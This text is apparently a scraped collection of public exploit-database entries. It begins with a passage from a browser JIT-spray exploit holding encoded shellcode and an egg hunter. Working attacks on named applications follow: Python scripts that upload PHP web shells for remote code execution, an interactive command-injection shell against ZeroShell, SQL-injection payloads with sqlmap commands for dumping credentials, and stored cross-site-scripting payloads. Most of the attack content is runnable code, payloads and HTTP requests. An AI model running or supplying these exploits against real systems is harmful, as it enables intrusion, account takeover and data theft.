2C6944D4B40 000002C6944D4B2F | 50 | push rax 000002C6944D4B30 | 68 20080000 | push 820 000002C6944D4B35 | E8 5603FCFF | call 2C694494E90 000002C6944D4B3A | 58 | pop rax 000002C6944D4B3B | E9 85F9FFFF | jmp 2C6944D44C5 000002C6944D4B40 | 6A 00 | push 0 000002C6944D4B42 | E9 D9C5FBFF | jmp 2C694491120 000002C6944D4B47 | F4 | hlt 000002C6944D4B48 | 41414141:0000 | add byte ptr ds:[r8],al <- JIT sprayed egg double 000002C6944D4B4E | 0000 | add byte ptr ds:[rax],al 000002C6944D4B50 | 90 | nop <- JIT sprayed shellcode begins here 000002C6944D4B51 | 90 | nop 000002C6944D4B52 | 55 | push rbp 000002C6944D4B53 | 48:89E5 | mov rbp,rsp 000002C6944D4B56 | 48:83EC 40 | sub rsp,40 000002C6944D4B5A | 48:83EC 08 | sub rsp,8 000002C6944D4B5E | 40:80E4 F7 | and spl,F7 000002C6944D4B62 | 48:B8 1122334455667788 | mov rax,8877665544332211 000002C6944D4B6C | 48:8945 C8 | mov qword ptr ss:[rbp-38],rax 000002C6944D4B70 | 48:C7C1 884E0D00 | mov rcx,D4E88 000002C6944D4B77 | E8 F9000000 | call 2C6944D4C75 This then introduces another constaint on JIT spraying beyoond forcing your assembly bytecode to be 100% valid double floats. You are also limited to a maximum of 100 doubles (800 bytes) including your egg prefix. */ function JITSprayFunc(){ Egg = 5.40900888e-315; // AAAA\x00\x00\x00\x00 X1 = 58394.27801956298; X2 = -3.384548150597339e+269; X3 = -9.154525457562153e+192; X4 = 4.1005939302288804e+42; X5 = -5.954550387086224e-264; X6 = -6.202600667005017e-264; X7 = 3.739444822644755e+67; X8 = -1.2650161464211396e+258; X9 = -2.6951286493033994e+35; X10 = 1.3116505146398627e+104; X11 = -1.311379727091241e+181; X12 = 1.1053351980286266e-265; X13 = 7.66487078033362e+42; X14 = 1.6679557218696946e-235; X15 = 1.1327634929857868e+27; X16 = 6.514949632148056e-152; X17 = 3.75559130646382e+255; X18 = 8.6919639111614e-311; X19 = -1.0771492276655187e-142; X20 = 1.0596460749348558e+39; X21 = 4.4990090566228275e-228; X22 = 2.6641556100123696e+41; X23 = -3.695293685173417e+49; X24 = 7.675324624976707e-297; X25 = 5.738262935249441e+40; X26 = 4.460149175031513e+43; X27 = 8.958658002980807e-287; X28 = -1.312880373645135e+35; X29 = 4.864674571015197e+42; X30 = -2.500435320470142e+35; X31 = -2.800945285957394e+277; X32 = 1.44103957698964e+28; X33 = 3.8566513062216665e+65; X34 = 1.37405680231e-312; X35 = 1.6258034990195507e-191; X36 = 1.5008582713363865e+43; X37 = 3.1154847750709123; X38 = -6.809578792021008e+214; X39 = -7.696699288147737e+115; X40 = 3.909631192677548e+112; X41 = 1.5636948002514616e+158; X42 = -2.6295656969507476e-254; X43 = -6.001472476578534e-264; X44 = 9.25337251529007e-33; X45 = 4.419915842157561e-80; X46 = 8.07076629722016e+254; X47 = 3.736523284e-314; X48 = 3.742120352320771e+254; X49 = 1.0785207713761078e-32; X50 = -2.6374368557341455e-254; X51 = 1.2702053652464168e+145; X52 = -1.3113796337500435e+181; X53 = 1.2024564583763433e+111; X54 = 1.1326406542153807e+104; X55 = 9.646933740426927e+39; X56 = -2.5677414592270957e-254; X57 = 1.5864445474697441e+233; X58 = -2.6689139052065564e-251; X59 = 1.0555057376604044e+27; X60 = 8.364524068863995e+42; X61 = 3.382975178824556e+43; X62 = -8.511722322449098e+115; X63 = -2.2763239573787572e+271; X64 = -6.163839243926498e-264; X65 = 1.5186209005088964e+258; X66 = 7.253360348539147e-192; X67 = -1.2560830051206045e+234; X68 = 1.102849544e-314; X69 = -2.276324008154652e+271; X70 = 2.8122150524016884e-71; X71 = 5.53602304257365e-310; X72 = -6.028598990540894e-264; X73 = 1.0553922879130128e+27; X74 = -1.098771600725952e-244; X75 = -2.5574368247075522e-254; X76 = 3.618778572061404e-171; X77 = -1.4656824334476123e+40; X78 = 4.6232700581905664e+42; X79 = -3.6562604268727894e+125; X80 = -2.927408487880894e+78; X81 = 1.087942540606703e-309; X82 = 6.440226123500225e+264; X83 = 3.879424446462186e+148; X84 = 3.234472631797124e+40; X85 = 1.4186706350383543e-307; X86 = 1.2617245769382784e-234; X87 = 1.3810793979336581e+43; X88 = 1.565026152201332e+43; X89 = 5.1402745833993635e+153; X90 = 9.63e-322; } function EggHunter(TargetAddressDbl) { HelperDbl[0] = TargetAddressDbl; for(var i = 0; i < 1000; i++) { // 1000 QWORDs give me the most stable result. The more double float constants are in the JIT'd function, the more handler code seems to precede them. DblVal = ExplicitLeakDbl(HelperDbl[0]); // The JIT'd ASM code being scanned is likely to contain 8 byte sequences which will not be interpreted as doubles (and will have tagged pointer bits set). Use explicit/strong primitive for these reads. if(DblVal == 5.40900888e-315) { HelperDword[0] = HelperDword[0] + 8; // Skip over egg bytes and return precise pointer to the shellcode return HelperDbl[0]; } HelperDword[0] = HelperDword[0] + 8; } return 0.0; } //////// //////// // Primary high level exploit logic //////// function Exploit() { for(var i = 0; i < JITIterations; i++) { JITSprayFunc(); // JIT spray the shellcode to a private +RX region of virtual memory } HelperDbl[0] = WeakLeakObjectAddress(JITSprayFunc); // The JSFunction object address associated with the (now JIT compiled) shellcode data. HelperDword[0] = HelperDword[0] + 0x30; // JSFunction.u.native.extra.jitInfo_ contains a pointer to the +RX JIT region at offset 0 of its struct. JITInfoAddress = WeakLeakDbl(HelperDbl[0]); HelperDbl[0] = JITInfoAddress; // Verify that MutableArray.x was not its initialized value during the last arbitrary read. This would only be the case if the slots ptr has NEVER been successfully overwritten post-addrof primitive (the address we attempted to read was not a valid double). if(HelperDword[0] == 0x41414141) { DebugLog("Arbitrary read primitive failed"); window.location.reload(); } else { // Setup the strong read primitive for the stage one egg hunter: attempting to interpret assembly byte code as doubles via weak primitive may crash the process (tagged pointer bits could cause the read value to be dereferenced as a pointer) HelperDbl[0] = WeakLeakDbl(JITInfoAddress); // Leak the address to the compiled JIT assembly code associated with the JIT'd shellcode function from its JitInfo struct (it is a pointer at offset 0 of this struct) DebugLog("Shellcode function object JIT code pointer is 0x" + HelperDword[1].toString(16) + HelperDword[0].toString(16)); JITCodePtr = HelperDbl[0]; ExplicitDblArrayAddress = WeakLeakObjectAddress(ExplicitDblArray); HelperDbl[0] = ExplicitDblArrayAddress; HelperDword[0] = HelperDword[0] + 56; // Float64Array data pointer ExplicitDblArrayDataPtr = HelperDbl[0]; ShellcodeAddress = EggHunter(JITCodePtr); // For this we need the strong read primitive since values here can start with 0xffff and thus act as tags if(ShellcodeAddress) { // Trigger code exec by calling the JIT sprayed function again. Its code pointer has been overwritten to now point to the literal shellcode data within the JIT'd function WeakWriteDbl(JITInfoAddress, ShellcodeAddress); JITSprayFunc(); // Notably the location of the data in the stage two shellcode Uint8Array can be found at offset 0x40 from the start of the array object when the array is small, and when it is large (as in the case of the WPAD shellcode) a pointer to it can be found at offset 0x38 from the start of the array object. In this case though, the stage one egg hunter shellcode finds, disables DEP and ADDITIONALLY executes the stage two shellcode itself, so there is no reason to locate/execute it from JS. } else { DebugLog("Failed to resolve shellcode address"); } } } Exploit();
HireHackking
# Exploit Title: Customer Relationship Management (CRM) System 1.0 - 'Category' Persistent Cross site Scripting # Date: 14-05-2021 # Exploit Author: Vani K G # Vendor Homepage: https://www.sourcecodester.com/ # Software Link: https://www.sourcecodester.com/php/14794/customer-relationship-management-crm-system-php-source-code.html # Version: 1.0 # Tested on: Windows 10/XAMPP Stored Cross-site scripting(XSS): Stored XSS, also known as persistent XSS, is the more damaging of the two. It occurs when a malicious script is injected directly into a vulnerable web application. Attack Vector : This vulnerability can result in the attacker to inject the XSS payload in the Title field of the page and each time any user will open the website, the XSS triggers and attacker can able to steal the cookie according to the crafted payload. Vulnerable Parameters: Category input field. Payload : <script>alert(document.domain)</script> Vulnerable URL : http://localhost/crm/admin/?page=services&view=category Steps To Reproduce : 1) Go to the admin Dashboard 2) Click on Category and click Add New button. 3) Put Payload into the 'Category' input field. 4) Click on Save. 5) XSS payload will be triggered.
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# Exploit Title: Podcast Generator 3.1 - 'Long Description' Persistent Cross-Site Scripting (XSS) # Date: 13/05/2021 # Exploit Author: Ayşenur KARAASLAN # Vendor Homepage: https://podcastgenerator.net/demoV2/ # Software Link: https://podcastgenerator.net/download and https://github.com/PodcastGenerator/PodcastGenerator/archive/v3.1.1.zip # Version: < 3.1.1 # CVE: N/A Podcast Generator is an open source Content Management System written in PHP and specifically designed for podcast publishing. #Description The following is PoC to use the XSS bug with unauthorized user. 1. Login to your admin account. 2. "Upload New Episode" or "Edit" field has got "Long Description". Long Description field is not filtered. It is possible to place JavaScript code. 3. Click the Home button 4. Click "More" button of created or edited episode. # Vulnerable Parameter Type: POST # Vulnerable Parameter: long_description # Attack Pattern: <script>prompt("Aysenur-PoC")</script> #PoC HTTP Request: POST /demoV2/pg/?p=admin&do=edit&c=ok HTTP/1.1 Host: podcastgenerator.net Cookie: PHPSESSID=2k93317b1dcraih0ti3p8rehc4; _ga=GA1.2.2015734934.1620928725; _gid=GA1.2.1455863373.1620928725 Content-Length: 1590 Cache-Control: max-age=0 Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90" Sec-Ch-Ua-Mobile: ?0 Upgrade-Insecure-Requests: 1 Origin: https://podcastgenerator.net Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryMJiUJ3BGzyG5zwxd User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: frame Referer: https://podcastgenerator.net/demoV2/pg/?p=admin&do=edit&=episode&name=aysenurxss-poc.jpg Accept-Encoding: gzip, deflate Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close ------WebKitFormBoundaryMJiUJ3BGzyG5zwxd Content-Disposition: form-data; name="userfile" aysenurxss-poc.jpg ------WebKitFormBoundaryMJiUJ3BGzyG5zwxd Content-Disposition: form-data; name="title" Aysenur-PoC ------WebKitFormBoundaryMJiUJ3BGzyG5zwxd Content-Disposition: form-data; name="description" poc ------WebKitFormBoundaryMJiUJ3BGzyG5zwxd Content-Disposition: form-data; name="countdown" 255 ------WebKitFormBoundaryMJiUJ3BGzyG5zwxd Content-Disposition: form-data; name="category[]" about ------WebKitFormBoundaryMJiUJ3BGzyG5zwxd Content-Disposition: form-data; name="Day" 13 ------WebKitFormBoundaryMJiUJ3BGzyG5zwxd Content-Disposition: form-data; name="Month" 5 ------WebKitFormBoundaryMJiUJ3BGzyG5zwxd Content-Disposition: form-data; name="Year" 2021 ------WebKitFormBoundaryMJiUJ3BGzyG5zwxd Content-Disposition: form-data; name="Hour" 14 ------WebKitFormBoundaryMJiUJ3BGzyG5zwxd Content-Disposition: form-data; name="Minute" 29 ------WebKitFormBoundaryMJiUJ3BGzyG5zwxd Content-Disposition: form-data; name="long_description" <script>prompt("aysenur-xss")</script> ------WebKitFormBoundaryMJiUJ3BGzyG5zwxd Content-Disposition: form-data; name="keywords" poc ------WebKitFormBoundaryMJiUJ3BGzyG5zwxd Content-Disposition: form-data; name="explicit" no ------WebKitFormBoundaryMJiUJ3BGzyG5zwxd Content-Disposition: form-data; name="auth_name" aysenur ------WebKitFormBoundaryMJiUJ3BGzyG5zwxd Content-Disposition: form-data; name="auth_email" aysenur@emailaddress.com ------WebKitFormBoundaryMJiUJ3BGzyG5zwxd--
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# Exploit Title: Human Resource Information System 0.1 - Remote Code Execution (Unauthenticated) # Date: 04-05-2021 # Exploit Author: Reza Afsahi # Vendor Homepage: https://www.sourcecodester.com # Software Link: https://www.sourcecodester.com/php/14714/human-resource-information-using-phpmysqliobject-orientedcomplete-free-sourcecode.html # Software Download: https://www.sourcecodester.com/download-code?nid=14714&title=Human+Resource+Information+System+Using+PHP+with+Source+Code # Version: 0.1 # Tested on: PHP 7.4.11 , Linux x64_x86 ############################################################################################################ # Description: # The web application allows for an unauthenticated file upload which can result in a Remote Code Execution. ############################################################################################################ # Proof of concept: #!/usr/bin/python3 import requests import sys from bs4 import BeautifulSoup def find_shell(domain): req_2 = requests.get(domain + "/Admin_Dashboard/Add_employee.php") soup = BeautifulSoup(req_2.content , "html.parser") imgs = soup.find_all("img") for i in imgs: src = i['src'] if ("shell.php" in src): print(" [!] Your shell is ready :) ==> " + domain + "/Admin_Dashboard/" + src + "\n") break else: continue def upload_file(domain): print("\n [!] Uploading Shell . . .") payload = """ <!DOCTYPE html> <html> <head> <title> Shell </title> </head> <body> <form action="#" method="post"> <input type="text" name="cmd" style="width: 300px; height: 30px;" placeholder="Your Command ..."> <br><br> <input type="submit" name="submit" value="execute"> </form> <?php $cmd = $_POST['cmd']; $result = shell_exec($cmd); echo "<pre>{$result}</pre>"; ?> </body> </html> """ h = { "Content-Type" : "multipart/form-data" } f = {'employee_image':('shell.php',payload, 'application/x-php', {'Content-Disposition': 'form-data'} ) } d = { "emplo" : "", "employee_companyid" : "test", "employee_firstname" : "test", "employee_lastname" : "test", "employee_middlename" : "test", "branches_datefrom" : "0011-11-11", "branches_recentdate" : "2222-11-11", "employee_position" : "test", "employee_contact" : "23123132132", "employee_sss" : "test", "employee_tin" : "test", "employee_hdmf_pagibig" : "test", "employee_gsis" : "test" } url = domain + "/Admin_Dashboard/process/addemployee_process.php" req = requests.post(url , data=d , files = f) if req.status_code == 200: if ("Insert Successfully" in req.text): print("\n [!] Shell uploaded succefully\n") find_shell(domain) else: print("Exploit Failed 1") def main(): if len(sys.argv) != 2: print('[!] usage: %s <target url> ' % sys.argv[0]) print('[!] eg: %s http://vulndomain.com' % sys.argv[0]) sys.exit(-1) print("<><><><><><><><><><><><><><><><><><><><><><><><>") print("<> Human Resource Information System <>") print("<> Shell Uploader <>") print("<><><><><><><><><><><><><><><><><><><><><><><><>") target_domain = sys.argv[1] upload_file(target_domain) if __name__ == "__main__": main()
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PHP Timeclock 1.04 - Time and Boolean Based Blind SQL Injection

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# Exploit Title: PHP Timeclock 1.04 - Time and Boolean Based Blind SQL Injection # Date: 03.05.2021 # Exploit Author: Tyler Butler # Vendor Homepage: http://timeclock.sourceforge.net # Software Link: https://sourceforge.net/projects/timeclock/files/PHP%20Timeclock/PHP%20Timeclock%201.04/ # Version: 1.04 # Tested on: PHP 4.4.9/5.3.3 Apache 2.2 MySql 4.1.22/5 Description: PHP Timeclock is vulnerable to both Boolean and Time Based SQL Injection on login.php via the login_userid parameter. This PoC shows how SQLmap can be used to exploit this vulnerability to dump database contents Boolean Based Payload: user' RLIKE (SELECT (CASE WHEN (8535=8535) THEN 0x75736572 ELSE 0x28 END))-- QwMo&login_password=pass Time Based Payload: user' AND (SELECT 4247 FROM (SELECT(SLEEP(5)))ztHm) AND 'WHmv'='WHmv&login_password=pass Steps to reproduce: 1. Run sqlmap against a instance of PHP Timeclock 2. Follow the instructions below for specific versions of MySQL MySQL >= 5.0.12: $ sqlmap -u http://localhost/login.php --method POST --data "login_userid=user&login_password=pass" -p login_userid --not-string="Warning" --dbms=MySQL --technique=TB --current-db --- Parameter: login_userid (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: login_userid=user' AND (SELECT 4247 FROM (SELECT(SLEEP(5)))ztHm) AND 'WHmv'='WHmv&login_password=pass --- MySQL < 5: On versions using MySQL < 5, table names must be included as arguments as information_schema was not introduced into MySQL yet. $ sqlmap -u http://localhost/login.php --method POST --data "login_userid=user&login_password=pass" -p login_userid --not-string="Warning" --technique=B -D timeclock -T employees, -C empfullname --dump --dbms=MySQL -v --- Parameter: login_userid (POST) Type: boolean-based blind Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: login_userid=user' RLIKE (SELECT (CASE WHEN (8535=8535) THEN 0x75736572 ELSE 0x28 END))-- QwMo&login_password=pass ---
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BOOTP Turbo 2.0.0.1253 - 'bootpt.exe' Unquoted Service Path

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# Exploit Title: BOOTP Turbo 2.0.0.1253 - 'bootpt.exe' Unquoted Service Path # Discovery by: Erick Galindo # Discovery Date: 2020-05-07 # Vendor Homepage: https://www.weird-solutions.com # Software : https://www.weird-solutions.com/download/products/bootpt_demo_x64.exe # Tested Version: 2.0.0.1253 # Vulnerability Type: Unquoted Service Path # Tested on OS: Windows 10 Pro x64 es # Step to discover Unquoted Service Path: C:\> wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "BOOTP" BOOTP Turbo BOOTP Turbo C:\Program Files\BOOTP Turbo\bootpt.exe Auto # Service info C:\>sc qc "BOOTP Turbo" [SC] QueryServiceConfig CORRECTO NOMBRE_SERVICIO: BOOTP Turbo TIPO : 10 WIN32_OWN_PROCESS TIPO_INICIO : 2 AUTO_START CONTROL_ERROR : 1 NORMAL NOMBRE_RUTA_BINARIO: C:\Program Files\BOOTP Turbo\bootpt.exe GRUPO_ORDEN_CARGA : ETIQUETA : 0 NOMBRE_MOSTRAR : BOOTP Turbo DEPENDENCIAS : Nsi : Afd : NetBT : Tcpip NOMBRE_INICIO_SERVICIO: LocalSystem #Exploit: This vulnerability could permit executing code during startup or reboot with the escalated privileges.
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Odoo 12.0.20190101 - 'nssm.exe' Unquoted Service Path

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# Exploit Title: Odoo 12.0.20190101 - 'nssm.exe' Unquoted Service Path # Exploit Author: 1F98D # Vendor Homepage: https://www.odoo.com/ # Software Link: https://nightly.odoo.com/12.0/nightly/windows/odoo_12.0.20190101.exe # Tested Version: 12.0.20190101 # Tested on OS: Windows # Step to discover Unquoted Service Path: C:\> icacls "C:\Program Files (x86)\Odoo 12.0\nssm" C:\Program Files (x86)\Odoo 12.0\nssm pc-1\user-1:(OI)(CI)(M) NT SERVICE\TrustedInstaller:(I)(F) NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F) NT AUTHORITY\SYSTEM:(I)(F) NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F) BUILTIN\Administrators:(I)(F) BUILTIN\Administrators:(I)(OI)(CI)(IO)(F) BUILTIN\Users:(I)(RX) BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE) CREATOR OWNER:(I)(OI)(CI)(IO)(F) APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX) APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE) APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX) APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
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# Exploit Title: Human Resource Information System 0.1 - 'First Name' Persistent Cross-Site Scripting (Authenticated) # Date: 04-05-2021 # Exploit Author: Reza Afsahi # Vendor Homepage: https://www.sourcecodester.com # Software Link: https://www.sourcecodester.com/php/14714/human-resource-information-using-phpmysqliobject-orientedcomplete-free-sourcecode.html # Software Download: https://www.sourcecodester.com/download-code?nid=14714&title=Human+Resource+Information+System+Using+PHP+with+Source+Code # Version: 0.1 # Tested on: PHP 7.4.11 , Linux x64_x86 # --- Description --- # # The web application allows for an assisstant to inject persistent Cross-Site-Scripting payload which will be executed in both assistant and Super Admin panel # --- Proof of concept --- # 1- Login as Assistant and go to: http://localhost/code/Admin_Dashboard/Add_employee.php 2- Click on Add Employee button 3- Inject this payload into First Name input : <script>alert('xss')</script> 4- and fill other inputs as you want (Other inputs might be vulnerable as well) then click on Save button. 5- refresh the page and Xss popup will be triggered. 6- Now if Super Admin visit this page in his/her Dashboard : http://localhost/code/Superadmin_Dashboard/Add_employee.php 7- Our Xss payload will be executed on Super Admin Browser ** Attacker can use this vulnerability to take over Super Admin account **
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Chevereto 3.17.1 - Cross Site Scripting (Stored)

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# Exploit Title: Chevereto 3.17.1 - Cross Site Scripting (Stored) # Google Dork: "powered by chevereto" # Date: 19.04.2021 # Exploit Author: Akıner Kısa # Vendor Homepage: https://chevereto.com/ # Software Link: https://chevereto.com/releases # Version: 3.17.1 # Tested on: Windows 10 / Xampp Proof of Concept: 1. Press the Upload image button and upload any image. 2. After uploading the image, press the pencil icon on the top right of the image and write "><svg/onload=alert(1)> instead of the title. 3. Upload the picture and go to the picture address.
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ZeroShell 3.9.0 - Remote Command Execution

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# Exploit Title: ZeroShell 3.9.0 - Remote Command Execution # Date: 10/05/2021 # Exploit Author: Fellipe Oliveira # Vendor Homepage: https://zeroshell.org/ # Software Link: https://zeroshell.org/download/ # Version: < 3.9.0 # Tested on: ZeroShell 3.9.0 # CVE : CVE-2019-12725 #!/usr/bin/python3 import requests import optparse import time parser = optparse.OptionParser() parser.add_option('-u', '--url', action="store", dest="url", help='Base target uri (ex. http://target-uri/)') options, args = parser.parse_args() if not options.url: print('[+] Specify an url target') print('[+] Example usage: exploit.py -u http://target-uri/') print('[+] Example help usage: exploit.py -h') exit() uri_zeroshell = options.url session = requests.Session() def command(): try: check = session.get(uri_zeroshell + "/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0Aid%0A'") if check.status_code == 200: flag = True print('[+] ZeroShell 3.9.0 Remote Command Execution') time.sleep(1) print('[+] Success connect to target') time.sleep(1) print('[+] Trying to execute command in ZeroShell OS...\n') time.sleep(1) check.raise_for_status() while flag: cmd = raw_input("$ ") payload = "/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0A" + cmd + "%0A'" uri_vuln = uri_zeroshell + payload burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"} res = session.get(uri_vuln, headers=burp0_headers, verify=False) print(res.text[:res.text.rindex("<html>") / 2]) except requests.exceptions.ConnectionError as err: print('[x] Failed to Connect in: '+uri_zeroshell+' ') print('[x] This host seems to be Down') exit() except requests.exceptions.HTTPError as conn: print('[x] Failed to execute command in: '+uri_zeroshell+' ') print('[x] This host does not appear to be a ZeroShell') exit() command()
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# Exploit Title: Dental Clinic Appointment Reservation System 1.0 - 'date' UNION based SQL Injection (Authenticated) # Date: 12.05.2021 # Exploit Author: Mesut Cetin # Vendor Homepage: https://www.sourcecodester.com/php/6848/appointment-reservation-system.html # Software Link: https://www.sourcecodester.com/download-code?nid=6848&title=Dental+Clinic+Appointment+Reservation+System+in+PHP+with+Source+Code # Version: 1.0 # Tested on: Ubuntu 18.04 TLS # Description: # the 'date' POST parameter is vulnerable to UNION-based SQL Injection # Attacker can use it to retrieve sensitive data like usernames, passwords, versions, etc. # payload: ' UNION SELECT NULL,NULL,@@version,username,password,NULL FROM users -- - # Proof of concept: http://localhost/admin/sort_date.php POST /admin/sort_date.php HTTP/1.1 Host: localhost Content-Length: 84 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://localhost Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://localhost/admin/sort_date.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=3cjdtku76ggasqei49gng91p3p dnt: 1 sec-gpc: 1 Connection: close date='+UNION+SELECT+NULL,NULL,@@version,username,password,NULL+FROM+users+--+-&sort=
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# Exploit Title: Student Management System 1.0 - 'message' Persistent Cross-Site Scripting (Authenticated) # Date: 2021-05-13 # Exploit Author: mohsen khashei (kh4sh3i) or kh4sh3i@gmail.com # Vendor Homepage: https://github.com/amirhamza05/Student-Management-System # Software Link: https://github.com/amirhamza05/Student-Management-System/archive/refs/heads/master.zip # Version: 1.0 # Tested on: ubuntu 20.04.2 # --- Description --- # # The web application allows for an Attacker to inject persistent Cross-Site-Scripting payload in Live Chat. # --- Proof of concept --- # 1- Login to Student Management System 2- Click on Live Chat button 3- Inject this payload and send : <image src=1 onerror="javascript:alert(document.domain)"></image> 5- Xss popup will be triggered. # --- Malicious Request --- # POST /nav_bar_action.php HTTP/1.1 Host: (HOST) Cookie: (PHPSESSID) Content-Length: 96 send_message_chat%5Bmessage%5D=<image src=1 onerror="javascript:alert(document.domain)"></image>
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Chamilo LMS 1.11.14 - Remote Code Execution (Authenticated)

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# Exploit Title: Chamilo LMS 1.11.14 - Remote Code Execution (Authenticated) # Date: 13/05/2021 # Exploit Author: M. Cory Billington (@_th3y) # Vendor Homepage: https://chamilo.org # Software Link: https://github.com/chamilo/chamilo-lms # Version: 1.11.14 # Tested on: Ubuntu 20.04.2 LTS # CVE: CVE-2021-31933 # Writeup: https://theyhack.me/CVE-2021-31933-Chamilo-File-Upload-RCE/ from requests import Session from random import choice from string import ascii_lowercase import requests # This is all configuration stuff, url = "http://127.0.0.1/chamilo-lms/" # URL to remote host web root user_name = "admin" # User must be an administrator password = "admin" command = "id;whoami" # Where you want to upload your webshell. Must be writable by web server user. # This spot isn't protectec by .htaccess webshell_path = 'web/' webshell_name = f"shell-{''.join(choice(ascii_lowercase) for _ in range(6))}.phar" # Just a random name for webshell file content = f"<?php echo `{command}`; ?>" def main(): # Run a context manager with a session object to hold login session after login with Session() as s: login_url = f"{url}index.php" login_data = { "login": user_name, "password": password } r = s.post(login_url, data=login_data) # login request # Check to see if login as admin user was successful. if "admin" not in r.url: print(f"[-] Login as {user_name} failed. Need to be admin") return print(f"[+] Logged in as {user_name}") print(f"[+] Cookie: {s.cookies}") file_upload_url = f"{url}main/upload/upload.php" # The 'curdirpath' is not santitized, so I traverse to the '/var/www/html/chamilo-lms/web/build' directory. I can upload to /tmp/ as well php_webshell_file = { "curdirpath": (None, f"/../../../../../../../../../var/www/html/chamilo-lms/{webshell_path}"), "user_upload": (webshell_name, content) } ## Good command if you want to see what the request looks like without sending # print(requests.Request('POST', file_upload_url, files=php_webshell_file).prepare().body.decode('ascii')) # Two requests required to actually upload the file for i in range(2): s.post(file_upload_url, files=php_webshell_file) exploit_request_url = f"{url}{webshell_path}{webshell_name}" print("[+] Upload complete!") print(f"[+] Webshell: {exploit_request_url}") # This is a GET request to the new webshell to trigger code execution command_output = s.get(exploit_request_url) print("[+] Command output:\n") print(command_output.text) if __name__ == "__main__": main()